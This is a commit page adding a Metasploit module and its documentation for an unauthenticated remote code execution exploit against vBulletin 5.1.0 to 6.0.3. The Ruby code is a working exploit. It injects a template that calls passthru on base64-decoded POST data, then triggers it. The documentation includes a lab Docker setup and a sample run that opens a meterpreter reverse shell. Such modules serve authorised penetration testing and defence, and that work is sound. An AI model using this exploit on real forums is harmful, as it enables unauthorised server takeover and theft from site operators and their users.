Skip to content

Commit 1f6dd34

Browse files
committed
vBulletin replaceAdTemplate Remote Code Execution
1 parent d2da920 commit 1f6dd34

File tree

2 files changed

+301
-0
lines changed

2 files changed

+301
-0
lines changed
Lines changed: 170 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,170 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits a design flaw in vBulletin’s AJAX API handler and template
4+
rendering system, affecting **vBulletin 5.1.0 through 6.0.3** on **PHP 8.1+**.
5+
An unauthenticated attacker can invoke the protected `vB_Api_Ad::replaceAdTemplate()` method to inject a malicious template that calls
6+
`passthru(base64_decode($_POST[<param>]))`, then trigger execution via the `ajax/render/ad_<location>` endpoint,
7+
yielding arbitrary code execution as the webserver user.
8+
9+
> **Note:** vBulletin is commercial software and is **not** included here. You must obtain a licensed copy and extract it under `./upload/`.
10+
11+
---
12+
13+
## To replicate vulnerable environments
14+
15+
1. **vBulletin 6.0.1 (tested)**
16+
17+
* Purchase and download vBulletin 6.0.1 from the official portal.
18+
* Extract all files into `./upload/`.
19+
20+
2. **Other versions (5.1.0–6.0.3)**
21+
22+
* Repeat the above with any of the supported versions.
23+
* Ensure you run on PHP 8.1+; earlier PHP versions do not expose this flaw.
24+
25+
---
26+
27+
## Docker Compose Configuration
28+
29+
```yaml
30+
services:
31+
db:
32+
image: mysql:5.7
33+
container_name: vbulletin_db
34+
restart: unless-stopped
35+
environment:
36+
MYSQL_ROOT_PASSWORD: root_password_here
37+
MYSQL_DATABASE: vbulletin
38+
MYSQL_USER: vbulletin
39+
MYSQL_PASSWORD: vb_password_here
40+
volumes:
41+
- db_data:/var/lib/mysql
42+
43+
web:
44+
build: .
45+
container_name: vbulletin_web
46+
depends_on: [db]
47+
ports: ["8888:80"]
48+
volumes:
49+
- ./do_not_upload:/opt/vbulletin-tools:ro
50+
environment:
51+
VB_DB_HOST: db
52+
VB_DB_NAME: vbulletin
53+
VB_DB_USER: vbulletin
54+
VB_DB_PASS: vb_password_here
55+
56+
volumes:
57+
db_data:
58+
```
59+
60+
Create the following **Dockerfile** and **docker-entrypoint.sh** in the same directory:
61+
62+
**Dockerfile**
63+
64+
```dockerfile
65+
FROM php:8.1-apache
66+
67+
COPY upload/ /var/www/html/
68+
COPY do_not_upload/ /opt/vbulletin-tools/
69+
70+
RUN apt-get update && \
71+
apt-get install -y --no-install-recommends \
72+
libzip-dev zlib1g-dev libonig-dev \
73+
libpng-dev libjpeg-dev libfreetype6-dev && \
74+
docker-php-ext-install \
75+
zip mysqli pdo_mysql gd mbstring && \
76+
a2enmod rewrite && \
77+
rm -rf /var/lib/apt/lists/*
78+
79+
RUN echo "phar.readonly=Off" > /usr/local/etc/php/conf.d/vbulletin.ini
80+
81+
COPY docker-entrypoint.sh /usr/local/bin/
82+
RUN chmod +x /usr/local/bin/docker-entrypoint.sh
83+
ENTRYPOINT ["docker-entrypoint.sh"]
84+
CMD ["apache2-foreground"]
85+
```
86+
87+
**docker-entrypoint.sh**
88+
89+
```bash
90+
#!/bin/bash
91+
chown -R www-data:www-data /var/www/html
92+
exec "$@"
93+
```
94+
95+
---
96+
97+
## Verification Steps
98+
99+
1. **Start the environment**
100+
```bash
101+
docker-compose up -d
102+
```
103+
104+
2. **Install vBulletin**
105+
Browse to [http://localhost:8888](http://localhost:8888) and complete the installer:
106+
107+
* **Database Host:** db
108+
* **DB Name:** vbulletin
109+
* **DB User:** vbulletin / vbpass
110+
111+
3. **Run `msfconsole`**
112+
113+
```bash
114+
use exploit/multi/http/vbulletin_replace_ad_template_rce
115+
set RHOSTS 127.0.0.1
116+
set RPORT 8888
117+
set TARGETURI /
118+
check
119+
```
120+
* You should see:
121+
```bash
122+
[*] Detected vBulletin version: 6.0.1
123+
[*] 127.0.0.1:8888 - The target appears to be vulnerable. vBulletin version 6.0.1 is likely vulnerable (< 6.0.4)
124+
```
125+
126+
---
127+
128+
## Options
129+
130+
No option
131+
132+
---
133+
134+
## Scenarios
135+
136+
### Unauthenticated Pre-Auth RCE
137+
138+
1. Ensure vBulletin 5.1.0–6.0.3 is installed and running on PHP 8.1+.
139+
2. In `msfconsole`, configure and run:
140+
141+
```bash
142+
set RHOSTS localhost
143+
set RPORT 8888
144+
set TARGETURI /
145+
```
146+
147+
---
148+
149+
## Expected Results
150+
151+
### With `cmd/linux/http/x64/meterpreter/reverse_tcp`
152+
153+
```plaintext
154+
msf6 exploit(multi/http/vbulletin_replace_ad_template_rce) > run http://lab:8888
155+
[*] Started reverse TCP handler on 192.168.1.36:4444
156+
[*] Running automatic check ("set AutoCheck false" to disable)
157+
[*] Detected vBulletin version: 6.0.1
158+
[+] The target appears to be vulnerable. vBulletin version 6.0.1 is likely vulnerable (< 6.0.4)
159+
[*] Injecting RCE template at location 'MDb' with POST param 'YHp'
160+
[*] Triggering payload execution via routestring 'ajax/render/ad_MDb'
161+
[*] Sending stage (3045380 bytes) to 172.28.0.3
162+
[*] Meterpreter session 9 opened (192.168.1.36:4444 -> 172.28.0.3:45980) at 2025-05-23 22:46:22 +0200
163+
164+
meterpreter > sysinfo
165+
Computer : 172.28.0.3
166+
OS : Debian 12.11 (Linux 6.14.6-2-cachyos)
167+
Architecture : x64
168+
BuildTuple : x86_64-linux-musl
169+
Meterpreter : x64/linux
170+
```
Lines changed: 131 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,131 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
11+
include Msf::Payload::Php
12+
13+
def initialize(info = {})
14+
super(
15+
update_info(
16+
info,
17+
'Name' => 'vBulletin replaceAdTemplate Remote Code Execution',
18+
'Description' => %q{
19+
This module exploits a design flaw in vBulletin's AJAX API handler and template rendering system,
20+
present in versions 5.1.0 through 6.0.3. The vulnerability allows unauthenticated attackers
21+
to invoke protected controller methods via the `ajax/api/ad/replaceAdTemplate` endpoint,
22+
due to improper use of PHP's Reflection API in combination with changes in PHP 8.1+.
23+
24+
Specifically, it targets the `vB_Api_Ad::replaceAdTemplate()` method to inject a template
25+
containing a `<vb:if>` conditional that evaluates attacker-supplied PHP using the
26+
`passthru($_POST[<param>])` construct. The malicious template is then executed via
27+
a second unauthenticated request to `ajax/render/ad_<location>`.
28+
29+
Successful exploitation results in arbitrary command execution as the webserver user,
30+
without authentication. This module supports payloads for PHP, Linux, and Windows.
31+
32+
Tested against vBulletin 5.1.0, 5.7.5, 6.0.1, and 6.0.3 running on PHP 8.1.
33+
},
34+
'Author' => [
35+
'Egidio Romano (EgiX)', # original PoC
36+
'Valentin Lobstein' # Metasploit module
37+
],
38+
'References' => [
39+
['URL', 'https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce'],
40+
],
41+
'License' => MSF_LICENSE,
42+
'Platform' => %w[unix linux windows],
43+
'Arch' => [ARCH_PHP, ARCH_CMD],
44+
'Targets' => [
45+
[
46+
'Unix/Linux Command Shell',
47+
{
48+
'Platform' => %w[unix linux],
49+
'Arch' => ARCH_CMD
50+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
51+
}
52+
],
53+
[
54+
'Windows Command Shell',
55+
{
56+
'Platform' => 'win',
57+
'Arch' => ARCH_CMD
58+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
59+
}
60+
],
61+
],
62+
'DefaultTarget' => 0,
63+
'DisclosureDate' => '2025-05-23',
64+
'Notes' => {
65+
'Stability' => [CRASH_SAFE],
66+
'Reliability' => [REPEATABLE_SESSION],
67+
'SideEffects' => [IOC_IN_LOGS]
68+
}
69+
)
70+
)
71+
end
72+
73+
def check
74+
res = send_request_cgi(
75+
'method' => 'GET',
76+
'uri' => normalize_uri(target_uri.path)
77+
)
78+
return CheckCode::Unknown('Failed to retrieve page content') unless res&.code == 200
79+
80+
doc = res.get_html_document
81+
82+
meta = doc.at_xpath('//meta[@name="generator"]/@content')
83+
return CheckCode::Safe('vBulletin not detected') unless meta
84+
85+
content = meta.value
86+
version = content[/vBulletin\s+([\d.]+)/i, 1]
87+
return CheckCode::Safe('vBulletin not detected') unless version
88+
89+
print_status("Detected vBulletin version: #{version}")
90+
v = Rex::Version.new(version)
91+
92+
if v < Rex::Version.new('6.0.4')
93+
CheckCode::Appears("vBulletin version #{v} is likely vulnerable (< 6.0.4)")
94+
else
95+
CheckCode::Safe("vBulletin version #{v} is likely patched (>= 6.0.4)")
96+
end
97+
end
98+
99+
def exploit
100+
loc = Rex::Text.rand_text_alpha(3, 8)
101+
param = Rex::Text.rand_text_alpha(3, 8)
102+
103+
post_data = {
104+
'routestring' => 'ajax/api/ad/replaceAdTemplate',
105+
'styleid' => '1', # Can't randomize this value
106+
'location' => loc,
107+
'template' => "<vb:if condition='\"passthru\"(\"base64_decode\"(\$_POST[\"#{param}\"]))'></vb:if>" # Sadly we can't use eval() here
108+
}
109+
110+
print_status("Injecting RCE template at location '#{loc}' with POST param '#{param}'")
111+
res = send_request_cgi(
112+
'method' => 'POST',
113+
'uri' => normalize_uri(target_uri.path),
114+
'vars_post' => post_data
115+
)
116+
117+
unless res&.body&.strip == 'null'
118+
fail_with(Failure::UnexpectedReply, 'Failed to create RCE template (expected "null")')
119+
end
120+
121+
print_status("Triggering payload execution via routestring 'ajax/render/ad_#{loc}'")
122+
send_request_cgi(
123+
'method' => 'POST',
124+
'uri' => normalize_uri(target_uri.path),
125+
'vars_post' => {
126+
'routestring' => "ajax/render/ad_#{loc}",
127+
param => Rex::Text.encode_base64(payload.encoded)
128+
}
129+
)
130+
end
131+
end

0 commit comments

Comments
 (0)